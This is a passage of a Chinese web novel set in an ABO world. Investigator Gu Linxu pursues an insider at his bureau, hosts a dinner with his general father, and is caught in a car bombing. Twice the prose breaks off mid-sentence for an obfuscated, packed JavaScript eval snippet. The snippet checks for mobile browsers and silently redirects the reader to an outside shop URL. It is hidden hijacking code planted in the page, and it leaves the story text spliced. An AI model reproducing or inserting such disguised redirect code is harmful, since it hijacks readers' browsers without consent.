就在他手触到门把时,杨雪蚕忽然出声叫住他:“晏昭野。” “怎么了?”他回头问道。 杨雪蚕看着他,欲言又止:“你是不是……” 后半句话在唇边辗转片刻,她终究没有问出口。 她想起了父亲加入“普罗米修斯”项目后那段封闭的日子。起初,她和母亲日夜悬心,生怕父亲承受不住之前的心理压力。 直到第一次接到在严密监听下的通话许可,听到父亲声音的那一刻,她那颗高悬的心这才落下,激动到眼泪都流了下来。 电话那头,父亲的声音里听不出任何强颜欢笑的勉强,反而透着一种久违的、发自内心的舒畅。 他兴致勃勃地跟她讲食堂的饭菜多么合胃口,讲项目组氛围如何专业又融洽,讲上级如何专门派了心理专家疏导他,更如何全力保护他在Z国险些被侵占的研究成果,并正面向Z国施压,追究其非法软禁的责任。 父亲的话语里充满了对联邦的信任与归属感。听着他重焕活力的声音,杨雪蚕这个当女儿的,心里自然是也跟着明亮了起来。 分享完近期生活,父亲不无感慨地对她说:“现在的联邦安全司,和几十年前我们那会儿真是大不一样了。不再是几个老家伙大眼瞪小眼喽,来了好多年轻的主力军,一个个朝气蓬勃的,最年轻的那个小伙子比你还小好几岁呢。” 杨雪蚕顺着他的话应和:“是嘛。” 比她还小好几岁?就能进入联邦生物安全司的核心项目?这得是何等的人才,在学生时代得跳多少级? “那可不,”父亲的语气中带着赞赏,“我跟你说,这小伙子个子高,长得帅,性格也好,阳光开朗,各方面都挺合适的。要不是他在安全司身份特殊,我都想把他介绍给你认识认识呢。” “爸!我都说了我不考虑结婚,你怎么又来了?”杨雪蚕擦掉脸上激动的泪水,故意板起脸,“再提我真跟你急了啊!” “好好好,不提了不提了,”父亲笑着告饶,随即语气渐渐深沉,带着老一辈人特有的、对未来的殷切期望。 “真好啊,八、九点钟的太阳将自己的光和热,毫无保留地奉献给联邦的明天。有这样的后继者在,我们这些老骨头,还有什么不放心的呢?” …… 当时的杨雪蚕还不理解父亲的话,什么叫各方面条件都合适?自己是Alpha,难不成那个长得又高又帅的小伙子是Omega? 直到今天她才想到一种可能——这个小伙子好像不是Omega,似乎是Enigma。 晏昭野脚步一顿,没有承认,也没有否认。 他只是回过头,将食指抵在唇边:“秘密。” 然后,他轻轻掩上了门。 *** 杨雪蚕整理好心情,迎接顾凛序十点钟的到来:“顾队,左胳膊恢复得怎么样?” “好多了。”顾凛序挽起袖子,露出肤色冷白的小臂。 淡青色的血管在皮肤下若隐若现,原本骇人的紫红色淤痕已褪成淡淡的青黄色。 杨雪蚕给他涂抹活血化瘀的药膏,习惯性地叮嘱:“运动的时候多加注意,这几天不要用左手提重物,每天热敷……” “嗯,知道了。”她的医嘱念叨太多次,顾凛序听得耳朵都快起茧了。 他鼻尖微动,捕捉到空气中极淡却无法忽视的、属于某个Enigma的威士忌信息素残留:“晏昭野来过?” “对,刚走,”杨雪蚕扔掉棉签,“他把那支抑制剂要回去了。” 经过晏昭野刚才那一番“洗礼”,她现在看顾凛序的眼神都变了味。 这要是放在几小时前,打死她也想象不到,居然有人胆大包天到想把联邦之盾给压了。 更离谱的是,这个人还趁人之危,在易感期用那种方式占尽了顾凛序便宜。 此刻就算有人冲进来,告诉她地球明天就要爆炸,她都会深信不疑。 大变态!死变态!居心不良!她内心疯狂吐槽道。 “怎么了?”顾凛序被她那像在看什么易碎珍品的目光盯得浑身不自在,“是不是晏昭野又干什么了,把你气着了?” 他误以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996138|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是晏昭野那股没脸没皮的劲儿惹恼了杨雪蚕。 杨雪蚕:“呃……” 何止是气着了,简直气得她血压飙升。 不过好久没这么酣畅淋漓地骂过人了,说实话还挺爽? 顾凛序见她语塞,以为自己说准了,便打了个圆场:“他那个人就是这样,说话做事有时候没个分寸,但其实……” “没有,我们没吵,反而一见如故,像是失散多年的好知己,真的,”杨雪蚕违心地替那个“死变态”说起了好话,“晏昭野刚才过来……主要是来关心你的胳膊恢复得怎么样。” “他问得可详细了,恨不得把你每天抬胳膊几次、角度多大都搞清楚,还反复叮嘱我,一定要用最好的药,千万别留疤。他说呃……他说让我缺什么尽管提,他有的是钱。” 她在心里疯狂翻白眼:是啊,心疼,心疼顾凛序的胳膊影响他标记的动作是吧,死变态! 算了……杨雪蚕又默默把这些话撤回。 尽管她不愿意承认,可晏昭野是自己老爸的恩人,这么在背后骂人家不好。 下回再见到他,自己当面骂出来就是了。 顾凛序听到“我有的是钱”这种典型的晏昭野风格发言,眼底掠过几不可察的笑意:“像是他会说出来的话。” 杨雪蚕察觉到他今天情绪似乎比往日要轻松些,便顺着问道:“顾队,看你的心情不错,是案子有进展了吗?” “那倒没有,”顾凛序的语气平常,但微微上扬的嘴角还是泄露了他的好心情,“是我爸。他昨天联系我,说下周会回联邦一趟,闲下来会抽空过来看看我。” 这个消息是昨天他在办公室换常服时收到的,之后心底那点喜悦就一直持续着。 杨雪蚕也由衷地为他高兴:“是嘛,那真是太好了!” 顾廷敬上将常年驻守联邦的境外要地,一年到头也难能回来一次,父子两个聚少离多。 如今顾廷敬上将能回联邦,这无疑是个值得开心的好消息。 顾凛序不习惯过多表露私人情绪,便又绕回晏昭野身上:“如果晏昭野哪里做得过分,惹你生气了,不用忍着,随时来告诉我就好,该管束的时候我不会纵容。” 杨雪蚕内心沧桑感慨:就怕到时候您自己管束不住啊,顾队。 不过她虽然心里这么想,面上却一本正经道:“知道啦。不过我也得说,要是晏昭野哪天惹着你了,你也别客气,该动手就动手。我算看出来了,他那个人啊,就是欠收拾!” 顾凛序带着点戏谑看她:“你刚才不还说和他一见如故,像是失散多年的好友?怎么给出这么个评价?” “这不矛盾啊!”杨雪蚕理直气壮地说,“我们这种性格的友谊就是这样!你又不是不知道。” “对了,我答应晏昭野的邀请了,过几天会以个人身份参与穹星生物那个静默剂中和剂的研发项目,回头我会向特调局补一份说明。” “好,”顾凛序点了点头,“那我目前的情况,是以后每个易感期都必须依赖这种特定抑制剂吗?大概什么时候才能换用其他常规抑制剂?” “呃,先继续用着这个吧,最保险。具体要多久,还需要看你后续的身体指标和恢复情况来定。因为这个抑制剂并不能彻底消除你体内的静默剂……”杨雪蚕支支吾吾地没能把话说完。 她最后索性一挥手:“哎呀你现在先不用囤其他抑制剂了,下次易感期到了,直接找晏昭野就行。” 顾凛序虽然没太听明白,但还是应了下来:“好。” 21. 遭遇危险A 从杨雪蚕那边回来,顾凛序推开自己办公室的门,意外地发现李俊义、李俊荣和晏昭野三个人都在。 气氛虽然没有预想中的鸡飞狗跳,却像是有什么共同的要紧事摆在他们面前,致使三个人皆是保持沉默。 晏昭野相对来说没那么严肃,大剌剌地坐在顾凛序那张办公椅上,见他进来,作势要起身。 “我不坐,你坐着吧。”顾凛序将外套脱下,搭在挂衣架上。 李俊荣递上一份厚厚的文件:“顾队,华小姐把穹星生物相关项目的全体成员详细名单送来了,信息非常详细,我们正在初步筛查。” “为什么要这么详细?”晏昭野不解地问,“连人家的情感经历和亲戚关系都摸这么清楚吗?” 事到如今,顾凛序也没有瞒他的必要了:“特调局内部有内鬼,只是目前还不确定是谁。” “内鬼?”晏昭野脸色一变,“就在特调局内部?” 由于静默剂的出现,他知道顾凛序的身边存在未知的危险,却没料到危险竟离对方如此之近,就在特调局。 办公桌上摆着一盆多肉,顾凛序将它往里推了推,随后倚靠在桌子边缘:“在我中静默剂之前,内鬼就已经存在了。” “随后发生的一系列事件,包括你被卷入其中,十有八九就是那个人利用你来对付我。所以我需要排查穹星生物内部,是否存在与特调局具有特殊关联的人员,这才要求名单尽可能详细。” “原来是这样。”晏昭野单手托着腮。 他的目光从顾凛序的后背,缓缓滑落到被深色腰带收束的腰间。 好细的腰,想摸一把。 不知道除去这层布料的阻挡,摸上去会是什么感觉。 要是能用手指丈量一下从侧腰到脊沟的弧度,或者用掌心感受一下那里的温度和发力时的紧绷感…… 晏昭野的喉结不自觉地滚动了一下。 但他清楚现在如果真的这么做了,下一秒自己的死相会非常难看。 他艰难地移开视线,强迫自己聚焦在正事上。 顾凛序问:“对了,那扇合金门外面的监控录像,穹星生物送过来了吗?” 他们之前拿到了内部拍摄防护服人员的监控,但更关键的外部监控,那个能清晰拍到未经伪装面容的角度上次并未获取。 “奇怪的就是这里,”李俊义的脸色很不好看,“华小姐回复说,外部监控系统里,五月十六日那天的记录丢了。” “丢了?”顾凛序眉头蹙起。 李俊荣面上不太好看:“对,就是丢了,怎么也找不到。” 顾凛序:“外部监控的负责人是谁?” 李俊义调出资料指给他看:“叫田长宇,前两天刚离职。” 顾凛序眉头紧锁:“离职?” “更巧的是,”李俊荣接话,“这个人一直是独居,社会关系简单。但他的银行账户在离职后,突然多了一笔来历不明的巨款,数额远超穹星生物的离职补偿。” “太多的巧合凑在一起,那就不是巧合了,”顾凛序放下资料,“之前我们从内部监控拷贝回来的视频,专业分析结果出来了吗?” 晏昭野:“出来了。技术分析确认视频里的人是我本人,但视频文件本身的元数据有问题,它是用我去年六月份进入原料库的一段旧监控,替换掉了今年五月十六日的记录。” “也是这个田长宇干的?”顾凛序问。 李俊荣谨慎地说:“不确定,但可能性很大。” “应该不是他,或者不全是他,”晏昭野提出了不同看法。 “内部和外部监控系统的权限和管理是分开的,内部监控由穹星生物更高层级的管理员负责。田长宇很可能只处理了外部监控。” 顾凛序明白了他的意思,目光看向他。 晏昭野与他视线交汇,默契地说:“这意味着很可能有两伙人在同时行动,他们都想掩盖五月十六日的真相,只是一伙人选择弄丢视频,另外一伙人替换监控视频。” 顾凛序思忖道:“其中一伙人显然与特调局的内鬼有关。那另一伙人又是谁?他们的目标是我,还是你?” 晏昭野为什么也卷进来了? 他过去一直以为自己是唯一的靶子,晏昭野不过是“借刀杀人”的那把刀,但今天这个发现给他敲响了警钟。 “不知道。”晏昭野面上不动声色,心里却已是翻江倒海。 是谁在针对他? ……是针对那个众所周知的纨绔晏昭野,还是针对生物安全司的晏昭野? 如果是前者,无非是商业恩怨或个人私仇;但如果是后者,问题可就严重了:他的身份是如何泄露的? 顾凛序对李俊荣和李俊义下令:“尽快找到田长宇,将其控制起来,务必保证他的安全。” “是!”李俊义和李俊荣领命,离开了办公室。 顾凛序看向晏昭野:“你这段时间尽量缩小活动范围,集中在特调局、穹星生物和家里。如果有什么特殊情况必须提前告诉我。” 晏昭野唇角勾起一抹笑意:“顾调查官,你这是在担心我吗?” 顾凛序公事公办地回应:“我是在确保相关人员的安全。” 他习惯了身处险境,但绝不容许身边的人也陷入危险,这是他身为联邦调查官的责任。 “那让我住你家岂不是最安全?”晏昭野顺杆爬道。 “倒也不至于危险到那个地步,”顾凛序看穿他的小心思,“你放着自家的大别墅不住,怎么总想跑来我的房子里挤?” “我那房子怎么能和顾调查官的比?谁不想住联邦之盾的家?”晏昭野退而求其次,“那我能去你家吃饭吗?” “不能。”顾凛序拒绝得干脆。 “可我都给顾叔准备好见面礼了。”晏昭野语出惊人。 “你怎么知道我爸要来?”顾凛序难掩惊讶,“是张局告诉你的?” 连他自己都是昨天才得知的消息。 “不是张局。是我爸告诉我的,”晏昭野歪着脑袋想了想,“不过我也不知道我爸是怎么知道的,或许是顾叔主动联系他的?” “我爸居然和晏董事长认识?”顾凛序更加诧异,“我怎么从没听他说起过?” “我也是昨天才知道的,”晏昭野指向自己右膝盖的位置,“你知道我爸右腿膝盖是人工关节吧?” “我听张局提过,”顾凛序点头,“说是晏董事长当年在边境执行任务时,为了掩护战友撤退,在极寒环境下负伤导致的。” 晏昭野:“我爸当年掩护的战友就是顾叔。” “……什么?”顾凛序呼吸一滞。 晏昭野的话像一记重锤落在他的心上。这件事顾廷敬从未对他提起过。 他想起张渐鸿曾经对晏川柏的描述—— “右腿膝盖更是换过人工关节,那是因为在一次突击任务中,为了掩护战友撤退,被敌方火力压制,在冰天雪地里硬生生爬了五公里,关节严重冻伤坏死留下的永久性创伤。” 当时听到这段叙述时,顾凛序脑海中浮现的是雪地里蜿蜒的血痕,是联邦军人坚韧不屈的脊梁。 但此刻,这段往事竟是以如此沉重的方式与他产生了联结。那个被晏川柏以鲜血守护的生命,原来是自己的父亲。 这份父辈的恩情实在是太沉重、太沉重了。 晏昭野向他传达晏川柏昨天下发的指示:“我爸从商之后,很多事情都不方便出面,没办法亲自去见顾叔。我现在正好在特调局,所以他就托我转交一份礼物,聊表心意。” 顾凛序拒绝道:“你拿回去吧,这份礼我不能收。” 有了父辈这层过命的交情在,他更不能接受了。 “收下吧,”晏昭野劝道,“是我爸珍藏多年的一些茶叶。他说顾叔喜欢大红袍,这是他特意为顾叔攒的,都攒了好多年了,就等着顾叔回国呢。” 顾凛序知道父亲极爱茶,尤其是顶级岩茶。他原本想问为什么晏川柏不亲自告诉自己这件事,但转念一想也明白了,大概是晏川柏怕他知道后,心里存着这份父辈救命之恩的负担。 顾凛序松了口:“那到时候你跟我一起走吧。” 晏昭野脸上绽开一个灿烂的笑容:“好啊。” *** 转眼就到了下一周,晏昭野如愿以偿地跟着顾凛序回了家。 路上,顾凛序趁着等红绿灯的间隙拿出手机拨号。他连着拨了好几次,听筒里传来的却始终是忙音。 晏昭野侧头看他微微蹙起的眉心:“给谁打电话呢?” “一个同事,”顾凛序放下手机,指尖在屏幕边缘敲了两下,“有一份文件急需他签字,但一直联系不上他。” 绿灯亮了,顾凛序重新启动车子,将手机放到一旁:“算了,先不管了,走吧。” 车子缓缓驶入一片安静的住宅区,停在一栋公寓楼下。两人乘电梯上楼,顾凛序掏出钥匙打开了家门。 顾凛序的住所约莫一百多平,不如晏昭野自己的别墅面积大,却出乎意料地充满生活气息。 他原以为顾凛序的家会像其本人一样,是冷峻的黑白灰风格,没想到整体是偏温暖的棕色调,家具风格统一,几盆好养活的绿萝和仙人掌点缀在阳台,给空间增添了几分生机。 顾廷敬已经到了,在家中等候他们两个。他身姿挺拔,即便穿着常服也遮盖不住那股经过铁血洗礼的军人气质,眉眼间与顾凛序有几分相似,但轮廓更为硬朗深刻,眼神锐利如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996139|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹰。 “顾叔好,”晏昭野恭敬地问好,将准备好的礼盒双手奉上,“家父托我带来一点心意,是他珍藏的大红袍,说您一定会喜欢。” 顾廷敬接过茶叶,冷硬的眉眼柔和了些许:“川柏有心了。他腿脚的老毛病,这些年可好些了?” “劳您挂心,家父一切都好。”晏昭野得体地回应。 他和顾凛序洗过手回到餐厅,桌上摆好了四菜一汤,家常菜的香气弥漫在空气中。 顾廷敬示意他们坐下:“尝尝看,这都是我下厨做的。” “好吃,这居然是顾叔做的,”晏昭野受宠若惊地说,“何德何能吃到上将亲自下厨的饭菜。” “我这身份在外面吃饭不方便,所以本来就想着和凛序小聚一下,”顾廷敬谦虚地说,“只能委屈你在家里凑合一顿了。” 晏昭野连说了几个“不委屈”。 顾凛序给他盛了碗汤:“这次能待多久?什么时候走?” 顾廷敬接过碗:“今晚就得走。一会去开个会,之后直接去机场,返回驻地。” 顾凛序:“……好。” 如果说一点失落都没有,那必然是假的。盼了许久才和父亲见上一面,满打满算却仅有这短短的几个小时。 尽管顾廷敬缺席了他整个成长过程,二十多个生日只陪他过了两个,但顾凛序心中并无怨怼。他比任何人都清楚,父亲肩负着更沉重、更广阔的责任。 如今,他自己也站到类似的位置上,更加深刻地理解了这种取舍。守护万家灯火,注定意味着要亏欠一些东西,比如失陪最亲近的人。 顾廷敬看出了儿子细微的情绪,声音放缓了些:“没事,一会你开车送我去开会吧,路上我们还能多说会话。” 顾凛序:“好。” 后来谁也没再提分别这个略显沉重的话题。加上晏昭野善于活跃气氛,话题东一个西一个,饭桌上的氛围倒也轻松愉快。 饭后,晏昭野十分有眼力见地提出下楼散步消食,将空间留给了这对聚少离多的父子。 顾廷敬问:“最近生物安全司的新项目你听说了吗?” “听说了,”顾凛序答道,“代号‘赫利俄斯’。” 按照惯例,联邦生物安全司的重大项目享有最高优先权,联邦所有其他部门都需无条件配合。不过特调局与其职能交叉不多,顾凛序只停留在提前知晓的层面,并未深入了解。 顾廷敬:“对,和去年一样,我这次回来的任务就是协助生物安全司,为项目护送一批关键原料。原本我不必亲自来,但想着去年回国的时候没能和你见上一面,便接下了这个任务,顺便来看看你。” 他顿了顿,又说:“最近境外局势不太平,Z国动作频频,不仅暗地里在坎利亚煽风点火、制造内乱,还在我那边大搞军事演习。” 顾凛序担忧地说:“爸,你在外面一定要多加小心。” “嗯,放心吧,”顾廷敬看了眼窗外,“现在几点了?” 顾凛序抬腕看表:“差十分七点。” “这表都戴了多少年了,换一块新的吧。”顾廷敬的目光落在他腕间那块哑光黑色的手表上,那是他多年前送给儿子的生日礼物。 因为工作的缘故,这些年他只给儿子送过两次生日礼物,这块表是其中之一。 “没坏就行,”顾凛序摸了摸表盘,“我们什么时候出发?” “现在就走吧。”顾廷敬站起身。 三个人在地下停车场入口碰了头,晏昭野刚好顺时针绕着小区走完一圈回来。 天色沉了下来,铅灰色的云层低低压着,空气里弥漫着潮湿的土腥气,像是渲染着父子即将到来的分别。 顾廷敬看着比自己高出不少的儿子,连连嘱咐道:“你也要多注意安全,遇到事情不要总是硬扛着。” 顾凛序看着父亲鬓角新添的白发:“爸,你也是,保重身体。” 顾廷敬拍了拍他的肩膀,眼里满是欣慰。 就在顾凛序按下车钥匙解锁键,走向轿车的那一瞬间—— 轰!!! 一声沉闷却极具冲击力的巨响在地下停车场炸开。 黑色轿车的驾驶座侧腾起一团火球,车窗玻璃在高温下龟裂、爆碎。 并非如电影里那种席卷一切的巨大爆炸,但足以将整辆车的结构扭曲,车门在冲击下发出刺耳的金属变形声。 灼热的气浪裹挟着细小的玻璃碴和塑料碎片,主要朝着驾驶座一侧,也就是顾凛序站立的方向飞扑过来。 顾凛序离车最近,首当其冲。 千钧一发之际,紧跟在他侧后方的晏昭野瞳孔骤缩,几乎是在爆炸声响起的同时,他整个人扑向顾凛序—— “小心!”